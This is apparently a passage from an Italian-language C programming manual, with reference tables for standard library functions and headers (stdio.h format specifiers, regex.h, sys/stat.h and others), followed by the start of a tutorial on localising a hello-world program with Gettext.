	Legge al massimo ***n***−1 caratteri (elementi '**`char`**') attraverso il flusso di file ***stream***, copiandoli in memoria a partire dall'indirizzo ***s*** e aggiungendo alla fine il carattere nullo di terminazione delle stringhe. La lettura si esaurisce prima di ***n***−1 caratteri se viene incontrato il codice di interruzione di riga, il quale viene rappresentato nella stringa a cui punta ***s***, ovvero se si raggiunge la fine del file. In ogni caso, la stringa ***s*** viene terminata correttamente con il carattere nullo.
	La funzione restituisce la stringa ***s*** se la lettura avviene con successo, ovvero se ha prodotto almeno un carattere; altrimenti, il contenuto dell'array a cui punta ***s*** non viene modificato e la funzione restituisce il puntatore nullo. Se si creano errori imprevisti, la funzione potrebbe restituire il puntatore nullo, ma senza garantire che l'array ***s*** sia rimasto intatto.

`int fputs (const char *restrict s,` `FILE *restrict stream);`	Copia la stringa a cui punta ***s*** nel file rappresentato dal flusso di file ***stream***. La copia della stringa avviene escludendo però il carattere nullo di terminazione. Va osservato che questa funzione, pur essendo contrapposta evidentemente a '**`fgets()`**', **non conclude la riga** del file, ovvero, non aggiunge il codice di interruzione di riga. Per ottenere la conclusione della riga di un file di testo, occorre inserire nella stringa, espressamente, il carattere '**`\n`**'. La funzione restituisce il valore rappresentato da '**`EOF`**' se l'operazione di scrittura produce un errore; altrimenti restituisce un valore positivo qualunque.
`char *gets (char *s);`	Legge una riga dallo standard input, copiandola in memoria a partire dall'indirizzo ***s*** e aggiungendo alla fine il carattere nullo di terminazione delle stringhe. Per il resto, il funzionamento è conforme a quello di ***fgets()***.
`int puts (const char *s);`	Copia la stringa a cui punta ***s*** nello standard output, aggiungendo in coda il codice di interruzione di riga. Per il resto, il funzionamento è analogo a quello di ***fputs()***.

`size_t fread (void *restrict ptr,`
`size_t size,`
`size_t nmemb,`
`FILE *restrict stream);`
	Legge dal flusso di file ***stream***, ***nmemb*** blocchi da ***size*** byte, copiando questi dati in memoria a partire dall'indirizzo ***ptr***. Restituisce la quantità di blocchi da '**`size`**' byte che sono stati copiati con successo; pertanto, se questo valore è inferiore a ***nmemb***, si è verificato un problema.

`size_t fwrite (const void *restrict ptr,`
`size_t size,`
`size_t nmemb,`
`FILE *restrict stream);`
	Scrive nel flusso di file ***stream***, ***nmemb*** blocchi da ***size*** byte, leggendo questi dati dalla memoria a partire dall'indirizzo ***ptr***. Restituisce la quantità di blocchi da '**`size`**' byte che sono stati copiati con successo; pertanto, se questo valore è inferiore a ***nmemb***, si è verificato un problema.

Funzione	Descrizione
`int fseek (FILE *`***stream***`,` `long int` ***offset***`,` `int` ***whence***`);`	Sposta la posizione corrente relativa al flusso di file ***stream*** (associato preferibilmente a un file binario), nella nuova posizione determinata dai parametri ***whence*** e ***offset***. Il parametro ***whence*** viene fornito attraverso una macro-variabile che può essere ***SEEK_SET***, ***SEEK_CUR*** o ***SEEK_END***, indicando rispettivamente l'inizio del file, la posizione corrente o la fine del file. Dalla posizione indicata dal parametro ***whence*** viene aggiunta, algebricamente, la quantità di byte indicata dal parametro ***offset***. La funzione restituisce zero se può eseguire l'operazione, altrimenti dà un risultato diverso.
`long int ftell (FILE *`***stream***`);`	Restituisce la posizione corrente del flusso di file indicato come argomento. Questo valore può essere usato con ***fseek()***, al posto dello scostamento (il parametro ***offset***), indicando come posizione di riferimento l'inizio del file, ovvero '**`SEEK_SET`**'. Se la funzione non riesce a fornire la posizione, restituisce il valore -1 (tradotto in '**`long int`**') e annota il fatto nella variabile ***errno***.
`void rewind (FILE *`***stream***`);`	Riposiziona il flusso di file all'inizio. In pratica è come utilizzare la funzione ***fseek()*** specificando uno scostamento pari a zero a partire da '**`SEEK_SET`**', ignorando il valore restituito.
`int fgetpos (FILE *restrict` ***stream***`,` `fpos_t *restrict` ***pos***`);`	Memorizza nella variabile a cui punta il parametro ***pos*** le informazioni sulla posizione corrente del file, assieme allo stato di interpretazione relativo alle sequenze multibyte. Restituisce zero se l'operazione è stata compiuta con successo, altrimenti dà un altro valore
`int fsetpos (FILE *`***stream***`,` `const fpos_t *`***pos***`);`	Utilizza la variabile a cui punta ***pos*** per ripristinare la posizione memorizzata, assieme allo stato di avanzamento dell'interpretazione di una sequenza multibyte. Restituisce zero se l'operazione è stata compiuta con successo, altrimenti dà un altro valore e aggiorna la variabile ***errno***.
`void clearerr (FILE *`***stream***`);`	Azzera gli indicatori di errore e di fine file per il flusso di file indicato come argomento, senza restituire alcunché.
`int feof (FILE *`***stream***`);`	Controlla lo stato dell'indicatore di fine file per il flusso di file indicato. Se questo non è attivo restituisce zero, altrimenti restituisce un valore diverso da zero.
`int ferror (FILE *`***stream***`);`	Controlla lo stato dell'indicatore di errore per il flusso di file indicato. Se questo non è attivo restituisce zero, altrimenti restituisce un valore diverso da zero.

Funzione	Descrizione
`void perror (const char *s);`	Prende in considerazione la variabile ***errno*** e cerca di tradurla in un messaggio testuale da emettere attraverso lo standard error (con tanto di terminazione della riga, in modo da riposizionare a capo il cursore). Se il parametro ***s*** corrisponde a una stringa non vuota, il testo di questa viene posto anteriormente al messaggio, separandolo con due punti e uno spazio ('`: `'). Il contenuto del messaggio è lo stesso che si otterrebbe con la funzione ***strerror()***, fornendo come argomento la variabile ***errno***.

File «stdio.h» per la composizione dell'output

% [***simbolo***] [***n_ampiezza***] [**.*****n_precisione***] [hh|h|l|ll|j|z|t|L] ***tipo***

Simbolo	Tipo di argomento	Conversione applicata
`%...d` `%...i`	`int`	Numero intero con segno da rappresentare in base dieci.
`%...u`	`unsigned int`	Numero intero senza segno da rappresentare in base dieci.
`%...o`	`unsigned int`	Numero intero senza segno da rappresentare in ottale (senza lo zero iniziale che viene usato spesso per caratterizzare un tale tipo di rappresentazione).
`%...x` `%...X`	`unsigned int`	Numero intero senza segno da rappresentare in esadecimale (senza il prefisso '**`0x`**' o '**`0X`**' che viene usato spesso per caratterizzare un tale tipo di rappresentazione).
`%...c`	`int`	Un carattere singolo, dopo la conversione in '**`unsigned char`**'.
`%...s`	`char *`	Una stringa.
`%...f`	`double`	Un numero a virgola mobile, da rappresentare in notazione decimale fissa: **[-]** ***iii*** **.** ***dddddd***
`%...e` `%...E`	`double`	Un numero a virgola mobile, da rappresentare in notazione esponenziale: **[-]** ***i*** **.** ***dddddd*****e**±***xx*** **[-]** ***i*** **.** ***dddddd*****E**±***xx***
`%...g` `%...G`	`double`	Un numero a virgola mobile, rappresentato in notazione decimale fissa o in notazione esponenziale, a seconda di quale si presti meglio in base ai vincoli posti da altri componenti dello specificatore di conversione.
`%p`	`void *`	Un puntatore generico rappresentato in qualche modo in forma grafica.

Simbolo	Tipo di argomento	Conversione applicata
`%n`	`int *`	Questo specificatore non esegue alcuna conversione e si limita a memorizzare un valore intero (di tipo '**`int`**') nella variabile a cui punta l'argomento. Per la precisione, viene memorizzata la quantità di caratteri generati fino a quel punto dalla conversione.
`%%`		Questo specificatore si limita a produrre un carattere di percentuale ('`%`') che altrimenti non sarebbe rappresentabile.

Simbolo	Corrispondenza
`%+`... `%#+`... `%+0`***ampiezza***... `%#+0`***ampiezza***...	Il segno «+» fa sì che i numeri con segno lo mostrino anche se è positivo. Può combinarsi con lo zero e il cancelletto.
`%0`***ampiezza***... `%+0`***ampiezza***... `%#0`***ampiezza***... `%#+0`***ampiezza***...	Lo zero fa sì che siano inseriti degli zeri a sinistra per allineare a destra il valore, nell'ambito dell'ampiezza specificata. Può combinarsi con il segno «+» e il cancelletto.
`%`***ampiezza***... `% `***ampiezza***...	In mancanza di uno zero iniziale, in presenza dell'indicazione dell'ampiezza, il valore viene allineato a destra usando degli spazi. È possibile esprimere esplicitamente l'intenzione di usare gli spazi mettendo proprio uno spazio, ma in generale non è richiesto. Se si mette lo spazio letteralmente, questo non è poi compatibile con lo zero, mentre le combinazioni con gli altri simboli sono ammissibili.
`%-`***ampiezza***... `%-+`***ampiezza***... `%#-`***ampiezza***... `%#-+`***ampiezza***...	Il segno meno, usato quando la conversione prevede l'uso di una quantità fissa di caratteri con un valore che appare di norma allineato a destra, fa sì che il risultato sia allineato a sinistra. Il segno meno si può combinare il segno «+» e il cancelletto.
`%#`...	Il cancelletto richiede una modalità di rappresentazione alternativa, ammesso che questa sia prevista per il tipo di conversione specificato. È compatibili con gli altri simboli, ammesso che il suo utilizzo serva effettivamente per ottenere una rappresentazione alternativa.

Simbolo	Tipo	Simbolo	Tipo

`%…hhd`
`%…hhi`
	`signed char`	`%…hhu`
		`%…hho`
		`%…hhx` | `%…hhX`
			`unsigned char`

`%…hd`
`%…hi`
	`short int`	`%…hu`
		`%…ho`
		`%…hx` | `%…hX`
			`unsigned short int`

`%…ld`
`%…li`
	`long int`	`%…lu`
		`%…lo`
		`%…lx` | `%…lX`
			`unsigned long int`

`%…lc`	`wint_t`	`%…ls`	`wchar_t *`

`%…lld`
`%…lli`
	`long long int`	`%…llu`
		`%…llo`
		`%…llx` | `%…llX`
			`unsigned long long int`

`%…jd`
`%…ji`
	`intmax_t`	`%…ju`
		`%…jo`
		`%…jx` | `%…jX`
			`uintmax_t`

`%…zd`
`%…zi`
	`size_t`	`%…zu`
		`%…zo`
		`%…zx` | `%…zX`
			`size_t`

`%…td`
`%…ti`
	`ptrdiff_t`	`%…tu`
		`%…to`
		`%…tx` | `%…tX`
			`ptrdiff_t`

`%…Le` | `%…LE`
`%…Lf` | `%…LF`
`%…Lg` | `%…LG`
	`long double`		

Funzione	Descrizione

`int sprintf (char *restrict` ***s***`,`
`const char *restrict` ***format***`,`
`...);`
	Produce il risultato della composizione memorizzandolo a partire dal puntatore costituito dal primo parametro (***s***) e aggiungendo il carattere nullo di terminazione.

Funzione	Descrizione
`int snprintf (char *restrict s, size_t n, const char *restrict format, ...);`	Produce al massimo $n-1$ caratteri, aggiungendo sempre il carattere nullo di terminazione.
`int fprintf (FILE *restrict stream, const char *restrict format, ...);`	Scrive il risultato della composizione attraverso il flusso di file ***stream***.
`int printf (const char *restrict format, ...);`	Scrive il risultato della composizione attraverso lo standard output.
`int vsprintf (char *restrict s, const char *restrict format, va_list arg);`	Come la funzione ***sprintf()***, ricevendo gli argomenti variabili attraverso un puntatore al loro inizio.
`int vsnprintf (char *restrict s, size_t n, const char *restrict format, va_list arg);`	Come la funzione ***snprintf()***, ricevendo gli argomenti variabili attraverso un puntatore al loro inizio.
`int vfprintf (FILE *restrict stream, const char *restrict format, va_list arg);`	Come la funzione ***fprintf()***, ricevendo gli argomenti variabili attraverso un puntatore al loro inizio.
`int vprintf (const char *restrict format, va_list arg);`	Come la funzione ***printf()***, ricevendo gli argomenti variabili attraverso un puntatore al loro inizio.

File «stdio.h» per l'interpretazione dell'input

```
%[*][n_ampiezza][hh|h|l|ll|j|z|t|L]tipo
```

Simbolo	Tipo di argomento	Conversione applicata
`%...d`	`int *`	Numero intero con segno rappresentato in base dieci.
`%...i`	`int *`	Numero intero con segno rappresentare in base dieci o in base otto, avendo come prefisso uno zero, oppure in base sedici, avendo come prefisso '`0x`' o '`0X`'.
`%...u`	`unsigned int *`	Numero intero senza segno rappresentato in base dieci.
`%...o`	`unsigned int *`	Numero intero senza segno rappresentato in ottale (con o senza lo zero iniziale).
`%...x`	`unsigned int *`	Numero intero senza segno rappresentato in esadecimale (con o senza il prefisso '`0x`' o '`0X`').
`%...c`	`char *`	Interpreta un solo carattere, o più caratteri se si specifica l'ampiezza. Nella lettura contano anche gli spazi o qualunque altro carattere e non viene aggiunto il carattere nullo di terminazione.

Simbolo	Tipo di argomento	Conversione applicata
`%…s`	`char *`	Interpreta una sequenza di caratteri che non siano spazi, aggiungendo alla fine il carattere nullo di terminazione.

`%…a`
`%…e`
`%…f`
`%…g`
	`double *`	Un numero a virgola mobile rappresentato in notazione decimale fissa o in notazione esponenziale:
		[-] ***iii*** **.** ***dddddd***
		[-] ***i*** **.** ***dddddd*****e±*****xx***
		[-] ***i*** **.** ***dddddd*****E±*****xx***

`%p`	`void *`	Interpreta il valore di un puntatore che sia rappresentato nello stesso modo in cui farebbe la funzione '**`printf("%p",`** *puntatore***`)`**'.
`%n`	`int *`	Questo specificatore non esegue alcuna conversione e si limita a memorizzare la quantità di caratteri ('**`char`**') letti fino a quel punto.
`%…[…]`	`char *`	Interpreta una stringa non vuota contenente solo i caratteri elencati tra parentesi quadre, aggiungendo alla fine il carattere nullo di terminazione. Se tra i caratteri si cerca anche la parentesi quadra chiusa, questa va messa all'inizio dell'elenco: '**`%…[]…]`**'.
`%…[^…]`	`char *`	Interpreta una stringa non vuota contenente solo caratteri diversi da quelli elencati tra parentesi quadre, aggiungendo alla fine il carattere nullo di terminazione. Se tra i caratteri da escludere si vuole indicare anche la parentesi quadra chiusa, questa va messa all'inizio dell'elenco: '**`%…[^]…]`**'.
`%%`		Interpreta un carattere di percentuale tra i dati in ingresso, ma senza memorizzare alcunché.

Simbolo	Tipo	Simbolo	Tipo

`%…hhd`
`%…hhi`
	`signed char *`	`%…hhu`
		`%…hho`
		`%…hhx`
		`%…hhn`
			`unsigned char *`

`%…hd`
`%…hi`
	`short int *`	`%…hu`
		`%…ho`
		`%…hx`
		`%…hn`
			`unsigned short int *`

Simbolo	Tipo	Simbolo	Tipo
%…ld %…li	long int *	%…lu %…lo %…lx %…ln	unsigned long int *
		%…lc %…ls %…lc %…l[…]	wchar_t *
%…lld %…lli	long long int *	%…llu %…llo %…llx %…lln	unsigned long long int *
%…jd %…ji	intmax_t *	%…ju %…jo %…jx %…jn	uintmax_t *
%…zd %…zi	size_t *	%…zu %…zo %…zx %…zn	size_t *
%…td %…ti	ptrdiff_t *	%…tu %…to %…tx %…tn	ptrdiff_t *
%…Le %…Lf %…Lg	long double *		

Funzione	Descrizione

`int fscanf (FILE *restrict` ***stream***`,`
`const char *restrict` ***format***`,`
`...);`
	Scandisce l'input proveniente dal flusso_di_file che costituisce il primo parametro (***stream***), restituendo la quantità di valori assegnati alle variabili rispettive, oppure il valore corrispondente alla macro-variabile ***EOF*** nel caso si verifichi un errore prima di qualunque conversione.

`int sscanf (const char *restrict` ***s***`,`
`const char *restrict` ***format***`,`
`...);`
	Scandisce il contenuto della stringa indicata come primo parametro (***s***), restituendo la quantità di valori assegnati alle variabili rispettive, oppure il valore corrispondente alla macro-variabile ***EOF*** nel caso si verifichi un errore prima di qualunque conversione.

`int scanf (const char *restrict` ***format***`,` `...);`	Scandisce lo standard input, restituendo la quantità di valori assegnati alle variabili rispettive, oppure il valore corrispondente alla macro-variabile ***EOF*** nel caso si verifichi un errore prima di qualunque conversione.

`int vfscanf (FILE *restrict` ***stream***`,`
`const char *restrict` ***format***`,`
`va_list` ***arg***`);`
	Come ***fscanf()***, con la differenza che gli argomenti variabili sono sostituiti da un puntatore al loro inizio.

`int vsscanf (const char *restrict` ***s***`,`
`const char *restrict` ***format***`,`
`va_list` ***arg***`);`
	Come ***sscanf()***, con la differenza che gli argomenti variabili sono sostituiti da un puntatore al loro inizio.

`int vscanf (const char *restrict` ***format***`,` `va_list` ***arg***`);`	Come ***scanf()***, con la differenza che gli argomenti variabili sono sostituiti da un puntatore al loro inizio.

File «assert.h»

Macro-istruzione	Descrizione
`void assert (`***tipo_scalare espressione***`);`	Nell'uso di questa macro-istruzione, in pratica si scrive solo l'espressione tra parentesi, senza indicare espressamente il tipo scalare. Se l'espressione si traduce in un valore pari a zero, l'asserzione fallisce e viene mostrato un messaggio di errore, con le informazioni necessarie per risalire alla posizione nel file sorgente.

File «stddef.h»

Macro-istruzione	Descrizione
`size_t offsetof (`***type***`,` ***member***`);`	Restituisce lo scostamento che separa un membro di una struttura dall'inizio della stessa.

File «locale.h»

Funzione	Descrizione
`char *setlocale (int category, NULL);`	Restituisce un puntatore alla stringa che descrive la configurazione locale corrente, riferita alla categoria specificata. Se non è in grado di fornire l'informazione, fornisce un puntatore nullo.
`char *setlocale (int category, const char *locale);`	Imposta la configurazione locale, secondo il contenuto della stringa che costituisce il secondo parametro. La funzione restituisce un puntatore che descrive la stessa configurazione, oppure, se l'operazione fallisce, restituisce il puntatore nullo.

Macro-variabile	Descrizione
`LC_ALL`	Individua simultaneamente tutte le categorie relative alla configurazione locale.
`LC_COLLATE`	Categoria che definisce l'ordine alfabetico dei caratteri tipografici.
`LC_CTYPE`	Categoria che definisce il modo di raggruppare i caratteri tipografici per tipologia.
`LC_MONETARY`	Categoria che definisce le convenzioni legate alla rappresentazione dei valori che esprimono importi in valuta.
`LC_NUMERIC`	Categoria che definisce il modo in cui vanno rappresentati i valori numerici, soprattutto per quanto riguarda la separazione tra parte intera e parte decimale.
`LC_TIME`	Categoria che definisce il modo corretto di esprimere le informazioni data-orario.
`LC_MESSAGES`	POSIX: Categoria che definisce il formato dei messaggi emessi per informazioni generali e di quelli diagnostici.

File «regex.h»

Funzione	Descrizione
`int regcomp (regex_t *restrict re, const char *restrict regex, int cflags);`	Compila l'espressione regolare descritta dalla stringa ***regex***, componendo il contenuto della variabile strutturata ***re***, tenendo conto delle opzioni ***cflags***.
`void regfree (regex_t *re);`	Libera la memoria associata all'espressione regolare compilata nella variabile ***re***.
`int regexec (const regex_t *restrict re, const char *restrict s, size_t n, regmatch_t m[restrict], int eflags);`	Compara l'espressione regolare ***re*** con la stringa ***s***, tenendo conto delle opzioni ***eflags***, immettendo le sottostringhe estratte nell'array di stringhe ***m***, sapendo che questo può contenere al massimo ***n*** stringhe.

Funzione	Descrizione
`size_t regerror (int e, const regex_t *restrict re, char *restrict t, size_t n);`	Sulla base del numero di errore ***e*** e dell'espressione regolare ***re***, produce un messaggio di errore nella stringa ***t*** che non può essere più lunga di ***n*** caratteri.

Tipo	Nome	Membri noti del tipo '**`regex_t`**'
`size_t`	`re_sub`	Quantità di sottoespressioni tra parentesi tonde.

Tipo	Nome	Membri noti di una variabile di tipo '**`regmatch_t`**'
`regoff_t`	`rm_so`	Scostamento in byte, dall'inizio della stringa, corrispondente all'inizio della sottostringa individuata.
`regoff_t`	`rm_eo`	Scostamento in byte, dall'inizio della stringa, corrispondente al carattere **successivo** alla sottostringa individuata.

Macro-variabile	Da usare come opzioni della funzione ***regcomp()*** per la compilazione di un'espressione regolare.
`REG_EXTENDED`	L'espressione regolare fornita è di tipo ERE (estesa). Se non si usa questa opzione, si intende che l'espressione sia di tipo BRE.
`REG_ICASE`	L'espressione regolare fornita va valutata senza distinguere tra lettere maiuscole o minuscole.
`REG_NOSUB`	Per la compilazione dell'espressione regolare non si intende tenere conto della corrispondenza eventuale di sottostringhe; in altri termini, non si vogliono considerare le parentesi '`\(`' e '`\)`', oppure '`(`' e '`)`' (a seconda che si tratti di ERE o BRE). In tal caso, l'espressione regolare serve per il confronto, ma non per estrapolare porzioni del risultato ottenuto.
`REG_NEWLINE`	In condizioni normali, il codice *new-line* contenuto nella stringa con cui l'espressione regolare deve essere confrontata, viene trattato come gli altri caratteri. Con l'opzione '**`REG_NEWLINE`**', invece, l'operatore '`^`' individua l'inizio di un testo che segue un codice *new-line*, mentre l'operatore '`$`' individua la fine di un testo che precede un codice *new-line*.

Macro-variabile Significato	Da usare come opzioni della funzione ***regexec()*** per la comparazione di un'espressione regolare già compilata con una stringa.
`REG_NOTBOL`	In condizioni normali, il carattere '`^`' trova corrispondenza con l'inizio di una stringa. Con questa opzione, si inibisce tale corrispondenza (*not begin of line*).
`REG_NOTEOL`	In condizioni normali, il carattere '`$`' trova corrispondenza con la fine di una stringa. Con questa opzione, si inibisce tale corrispondenza (*not end of line*).

Macro-variabile	Tipo di errore restituito dalla funzione ***regcomp()*** o da ***regexec()***.
`REG_BADBR`	Il contenuto di '`\{...\}`' (nel caso di BRE) o di '`{...}`' (nel caso di ERE), risulta non valido: potrebbe non trattarsi di un numero, oppure potrebbe esserci un numero troppo grande, oppure potrebbero esserci più di due numeri, oppure il primo potrebbe essere più grande del secondo. Infatti, il contenuto di tale raggruppamento deve essere un numero singolo, oppure due numeri separati da una virgola, dove il primo deve essere inferiore al secondo.
`REG_BADPAT`	Espressione regolare non valida (errore di sintassi).

Macro-variabile	Tipo di errore restituito dalla funzione ***regcomp()*** o da ***regexec()***.
`REG_BADRPT`	Un operatore di ripetizione, del tipo '`?`', '`*`' o '`+`', non è preceduto a un'espressione regolare, ovvero si trova in una posizione sbagliata.
`REG_ECOLLATE`	Elemento di collazione (*collating element*) non valido, nell'ambito della configurazione locale attuale.
`REG_ECTYPE`	Riferimento a una classe di caratteri non valida.
`REG_EESCAPE`	L'espressione regolare termina con '`\`' e ciò non è ammissibile.
`REG_ESUBREG`	Una sequenza '`\`***n***', dove ***n*** è un numero, è errata.
`REG_EBRACE`	Le parentesi graffe che descrivono la ripetizione di qualcosa non bilanciano. Può trattarsi di sequenze del tipo '`\{`...`\}`' per le espressioni BRE o del tipo '`{`...`}`' per le espressioni ERE.
`REG_EBRACK`	Parentesi quadre non bilanciate (parentesi aperta e non chiusa, o viceversa).
`REG_EPAREN`	Le parentesi tonde che descrivono delle sottoespressioni non bilanciano. Può trattarsi di sequenze del tipo '`\(`...`\)`' per le espressioni BRE o del tipo '`(`...`)`' per le espressioni ERE.
`REG_ERANGE`	Un'estremità di un intervallo di valori non è valido.
`REG_ESPACE`	Il procedimento di interpretazione dell'espressione regolare porta all'esaurimento della memoria disponibile.
`REG_NOMATCH`	Non c'è corrispondenza tra espressione regolare e stringa.

File «sys/stat.h»

Funzione	Descrizione
`int chmod (const char *`***path***`, mode_t `***mode***`);`	Cambia i permessi di un file, individuato dal suo percorso nel file system, rappresentati da una variabile di tipo '**`mode_t`**' (il tipo di file non può essere cambiato).
`int fchmod (int `***fdn***`, mode_t `***mode***`);`	Cambia i permessi di un file aperto, individuato da un descrittore, rappresentati da una variabile di tipo '**`mode_t`**' (il tipo di file non può essere cambiato).
`int fstat (int `***fdn***`, struct stat *`***buffer***`);`	Aggiorna i membri della struttura a cui punta ***buffer***, con le informazioni relative al file aperto con descrittore ***fdn***.
`int lstat (const char *restrict `***path***`, struct stat *restrict `***buffer***`);`	Aggiorna i membri della struttura a cui punta ***buffer***, con le informazioni relative al file individuato dal percorso ***path***. Ma a differenza di ***stat()***, se il file richiesto è un collegamento simbolico, si ottengono le informazioni del file che rappresenta il collegamento stesso, ignorando ciò a cui questo punterebbe.
`int mkdir (const char *`***path***`, mode_t `***mode***`);`	Crea una directory, specificata attraverso un percorso del file system, con i permessi indicati nel parametro ***mode***, dove non si può specificare il tipo di file. I permessi richiesti vengono filtrati dalla maschera dei permessi.

Funzione	Descrizione
int mkfifo (const char ****path***, mode_t ***mode***);	Crea un file FIFO, individuato dal suo percorso nel file system, utilizzando i permessi richiesti, subordinatamente al filtro della maschera dei permessi.
int mknod (const char ****path***, mode_t mode, dev_t dev);	Crea virtualmente un file di qualunque tipo, specificando il percorso nel file system, il tipo di file e i permessi (in questo caso il parametro ***mode*** serve principalmente per specificare il tipo di file) e il numero di dispositivo complessivo, nel caso particolare di un file di dispositivo. In condizioni normali, non dovrebbe essere possibile la creazione di una directory, ma se anche fosse possibile, sarebbe sconsigliabile l'uso di questa funzione per tale scopo.
int stat (const char *restrict ***path***, struct stat *restrict ***buffer***);	Aggiorna i membri della struttura a cui punta ***buffer***, con le informazioni relative al file individuato dal percorso ***path***.
mode_t umask (mode_t ***mask***);	Definisce la maschera dei permessi per il processo in corso, restituendo il valore precedente della maschera.

Macro-istruzione	Descrizione
S_ISBLK (***mode***)	Restituisce *Vero* se il parametro ***mode*** rappresenta un file di dispositivo a blocchi.
S_ISCHR (***mode***)	Restituisce *Vero* se il parametro ***mode*** rappresenta un file di dispositivo a caratteri.
S_ISFIFO (***mode***)	Restituisce *Vero* se il parametro ***mode*** rappresenta un file FIFO.
S_ISREG (***mode***)	Restituisce *Vero* se il parametro ***mode*** rappresenta un file puro e semplice.
S_ISDIR (***mode***)	Restituisce *Vero* se il parametro ***mode*** rappresenta una directory.
S_ISLNK (***mode***)	Restituisce *Vero* se il parametro ***mode*** rappresenta un collegamento simbolico.
S_ISSOCK (***mode***)	Restituisce *Vero* se il parametro ***mode*** rappresenta un socket di dominio Unix.

Tipo	Nome	Membri noti del tipo derivato '**struct stat**'
dev_t	st_dev	Numero di dispositivo dell'unità contenente il file.
ino_t	st_ino	Numero di inode del file.
mode_t	st_mode	Tipo di file e permessi di accesso relativi.
nlink_t	st_nlink	Collegamenti riferiti al file.
uid_t	st_uid	Numero UID dell'utente proprietario del file.
gid_t	st_gid	Numero GID del gruppo proprietario del file.
dev_t	st_rdev	Numero di dispositivo rappresentato, nel caso si tratti effettivamente di un file di dispositivo.

Tipo	Nome	Membri noti del tipo derivato '**struct stat**'
off_t	st_size	Dimensione del file.
time_t	st_atime	Data e orario dell'ultimo accesso al file.
time_t	st_mtime	Data e orario dell'ultima modifica apportata al contenuto del file.
time_t	st_ctime	Data e orario dell'ultima modifica di inode (data di creazione dell'inode).
blksize_t	st_blksize	Dimensione del blocco per le operazioni di input-output.
blkcnt_t	st_blocks	Dimensione del file espressa in blocchi.

Macro-variabile	Da usare per la definizione di un tipo di file, in variabili di tipo '**mode_t**'.
S_IFMT	Maschera che raccoglie tutti i bit che individuano il tipo di file.
S_IFBLK	File di dispositivo a blocchi.
S_IFCHR	File di dispositivo a caratteri.
S_IFIFO	File FIFO.
S_IFREG	File puro e semplice.
S_IFDIR	Directory.
S_IFLNK	Collegamento simbolico.
S_IFSOCK	Socket di dominio Unix.

Macro-variabile	Da usare per la definizione dei permessi di un file, in variabili di tipo '**mode_t**'.
S_ISUID	SUID.
S_ISGID	SGID.
S_ISVTX	Sticky.
S_IRWXU	Lettura, scrittura ed esecuzione per l'utente proprietario.
S_IRUSR	Lettura per l'utente proprietario.
S_IWUSR	Scrittura per l'utente proprietario.
S_IXUSR	Esecuzione per l'utente proprietario.
S_IRWXG	Lettura, scrittura ed esecuzione per il gruppo.
S_IRGRP	Lettura per il gruppo.
S_IWGRP	Scrittura per il gruppo.

Macro-variabile	Da usare per la definizione dei permessi di un file, in variabili di tipo '**`mode_t`**'.
`S_IXGRP`	Esecuzione per il gruppo.
`S_IRWXO`	Lettura, scrittura ed esecuzione per gli altri utenti.
`S_IROTH`	Lettura per gli altri utenti.
`S_IWOTH`	Scrittura per gli altri utenti.
`S_IXOTH`	Esecuzione per gli altri utenti.

Gettext

Gettext[1] è un sistema che aiuta nella traduzione dei messaggi dei programmi e al loro mantenimento, il quale però non fa parte della libreria standard dei linguaggi di programmazione. Ci possono essere molti modi per realizzare un programma multilingua, ma Gettext rappresenta probabilmente il metodo più semplice in pratica, consentendo la traduzione successiva senza interferire con un eseguibile già pronto, purché predisposto per questo.

82.1 Principio di funzionamento

La logica di Gettext è molto semplice: il programma incorpora solo i messaggi in inglese; all'esterno si associano dei file, uno per ogni linguaggio disponibile, con le traduzioni corrispondenti. Non è necessario «codificare» i messaggi in qualche modo, perché la corrispondenza avviene in modo letterale, in base al testo originale.

```
msgid "%s: cannot create the temporary file %s\n"
msgstr "%s: non è possibile creare il file temporaneo %s\n"
```

L'esempio, che mostra un estratto ipotetico di un file PO di Gettext (*Portable object*), serve a comprendere il concetto: la stringa preceduta dalla parola chiave '**`msgid`**' (*message identity*) è quella di riferimento, che viene rimpiazzata automaticamente da quella sottostante, preceduta dalla parola chiave '**`msgstr`**'.

Le stringhe e le traduzioni di Gettext sono costanti, nel senso che '**`%s`**' viene preso come tale, mentre è il programma che lo sostituisce opportunamente. In questo senso, bisogna considerare che Gettext è nato per il linguaggio C, per essere usato in stringhe che siano argomento di funzioni come ***printf()*** e ***sprintf()***.

82.2 Fasi di preparazione

La predisposizione di un programma per Gettext potrebbe essere fatta in modo più o meno automatico, attraverso strumenti specifici, oppure si può procedere in modo più semplice, anche se più oneroso dal punto di vista del tempo impiegato. Qui si intende mostrare questo modo più semplice per permettere al lettore di comprendere il concetto. La documentazione di Gettext è di per sé molto dettagliata.

Per prima cosa, il sorgente C deve essere predisposto attraverso l'inclusione di alcuni file di intestazione, quindi le stringhe vengono inglobate dalla funzione ***gettext()***. Quello che segue è il classico programma che visualizza un messaggio ed esce; si suppone che si tratti del file '`ciao.c`':

```
#include <stdio.h>
int main ()
{
    printf ("Hello world\n");
}
```

Nel listato successivo si vede come deve essere trasformato; va osservata l'inclusione del file di intestazione '`libintl.h`':

```
#include <stdio.h>
#include <libintl.h>
#include <locale.h>

#define PACKAGE "ciao"
#define LOCALEDIR "/var/tmp"

int main ()
{
    setlocale (LC_ALL, "");
    bindtextdomain (PACKAGE, LOCALEDIR);
    textdomain (PACKAGE);

    printf (gettext ("Hello world\n"));
}
```

Le funzioni '**`bindtextdomain`**' e '**`textdomain`**' utilizzano come argomenti delle macro (costanti manifeste), in modo da generalizzare il funzionamento e rendere esterna la definizione di queste componenti. A parte questi particolari, si nota che ***printf()*** non ha più come argomento la costante di prima, ma la funzione ***gettext()***.

Il programma può essere compilato, anche se non è ancora disponibile una traduzione:

`$` **`cc -o ciao ciao.c`** [*Invio*]

La fase successiva richiede la creazione di un file PO, attraverso l'aiuto del programma '**`xgettext`**':

`$` **`xgettext ciao.c`** [*Invio*]

Quello che si ottiene nella directory corrente è il file '`messages.po`', contenente esattamente il testo seguente:

```
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR Free Software Foundation, Inc.
# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: PACKAGE VERSION\n"
"POT-Creation-Date: 2000-05-15 23:05+0200\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=CHARSET\n"
"Content-Transfer-Encoding: ENCODING\n"

#: ciao.c:18
msgid "Hello world\n"
msgstr ""
```

